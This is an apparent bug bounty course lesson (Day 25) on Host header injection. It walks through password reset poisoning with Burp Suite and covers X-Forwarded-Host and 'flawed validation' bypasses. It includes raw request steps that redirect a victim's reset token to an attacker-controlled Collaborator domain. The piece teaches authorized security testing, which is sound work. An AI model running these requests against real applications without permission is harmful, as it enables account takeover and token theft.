📰 Originally published on SecurityElites — the canonical, fully-updated version of this article.
DAY 25
🎯 BUG BOUNTY COURSE
FREE
Part of the 60-Day Bug Bounty Mastery Course
Day 25 of 60 · 40% complete
Password reset poisoning is one of those vulnerabilities that produces an almost disbelieving reaction the first time you demonstrate it. You send a password reset request for someone else’s account, swap the Host header for your Burp Collaborator URL, and thirty seconds later you’re watching the victim’s reset token arrive in your Collaborator log. No phishing. No social engineering. Just a single HTTP header modification and a link that the victim will reasonably trust because it came from the application itself.
Host header injection sits at the intersection of authentication, infrastructure, and caching vulnerabilities. The core issue is straightforward — the application trusts the Host header to construct URLs without validating it — but the attack surface is broader than most testers initially realise. Password reset poisoning is the headline variant, but the same root cause enables web cache poisoning, SSRF, and virtual host routing attacks. Day 25 covers all of them.
🎯 What You’ll Master in Day 25
How Host header injection works and why applications trust an attacker-controllable value
Password reset poisoning — the full attack chain from header manipulation to account takeover
X-Forwarded-Host and bypass headers that work when direct Host modification is blocked
Web cache poisoning via Host header — scaling a single request to affect all users
How to write a High/Critical Host header injection bug bounty report
⏱️ 20 min read · Burp Suite for Exercises 2 & 3 ### 📋 Host Header Injection Attacks – Contents 1. How Host Header Injection Works 2. Password Reset Poisoning — Full Attack Chain 3. Bypass Headers — When Direct Injection Fails 4. Web Cache Poisoning via Host Header 5. Writing the Bug Bounty Report ## How Host Header Injection Works The HTTP Host header tells the server which virtual host is being addressed — in a shared hosting environment, dozens of domains may point to the same IP, and the Host header determines which application handles the request. In theory, the server knows its own domain and should validate the Host header against it. In practice, many applications use the Host header value directly in their business logic: constructing password reset URLs, building canonical links, routing to backend services, or setting cache keys.
The attacker’s leverage is control over this header. In normal browser traffic, the browser sets the Host header to the domain in the URL and you can’t change it. In Burp Suite’s intercept proxy, you can modify any header before it reaches the server. An application that uses Host to construct a password reset link without validation will happily include your attacker-controlled domain in that link, send it to the victim’s email, and not know anything went wrong.
HOST HEADER INJECTION — BURP SUITE TESTING SETUPCopy
Step 1: Enable Burp Collaborator (Burp Pro)
Burp menu → Burp Collaborator client → Copy to clipboard
Your payload: xxxxx.oastify.com (unique per-test subdomain)
Step 2: Capture password reset request in Burp Repeater
POST /forgot-password HTTP/1.1
Host: target.com ← CHANGE THIS
Content-Type: application/x-www-form-urlencoded
email=victim@target.com
Step 3: Modify Host header
Host: xxxxx.oastify.com
Step 4: If Host is validated, try bypass headers
Host: target.com
X-Forwarded-Host: xxxxx.oastify.com
Step 5: Check Collaborator for incoming request
Burp Collaborator → Poll now → HTTP interactions received
If you see a GET /reset?token=XXX → VULNERABLE
🛠️ EXERCISE 1 — BROWSER (NO INSTALL)
Read the PortSwigger Research — Understanding Password Reset Poisoning
⏱️ 10 minutes · Browser only
Before touching the labs, I always read the PortSwigger research article on the vulnerability class. Their write-ups are the clearest, most technically precise explanations of web vulnerabilities available anywhere — and they’re free. Understanding the mechanism deeply makes the lab exercises click immediately rather than being trial-and-error.
Step 1: Read the PortSwigger Host Header Attacks article
Go to: portswigger.net/web-security/host-header
Read the full article.
Step 2: Answer these questions after reading: a) What header besides Host can be used to inject a domain? b) How does the “flawed validation” bypass work? (What format makes the application think it’s the real domain?) c) What is a “dangling markup” injection and how does Host enable it?
Step 3: Find the list of all Host injection variants The PortSwigger article lists multiple techniques. Write down every bypass variant they mention. Which bypass works when the Host value is validated as an exact match?
Step 4: Understand the password reset attack flow PortSwigger shows the exact HTTP request modification. What specific line changes between the legitimate and malicious request? What happens next when the victim clicks the poisoned reset link?
✅ The “flawed validation” bypasses are the most practically valuable finding from this reading — particularly the Host: target.com:attacker.com variant (the port field being used as a second host) and the Host: attacker.com#target.com variant. Many applications validate only that the Host header contains their domain, not that it IS their domain. Adding your domain after a colon or hash character can satisfy the contains() check while injecting your domain into URL construction. These bypasses are what elevate the testing from “the obvious test fails” to “the bypass works”.
📖 Read the complete guide on SecurityElites
This article continues with deeper technical detail, screenshots, code samples, and an interactive lab walk-through. Read the full article on SecurityElites →
This article was originally written and published by the SecurityElites team. For more cybersecurity tutorials, ethical hacking guides, and CTF walk-throughs, visit SecurityElites.
Top comments (0)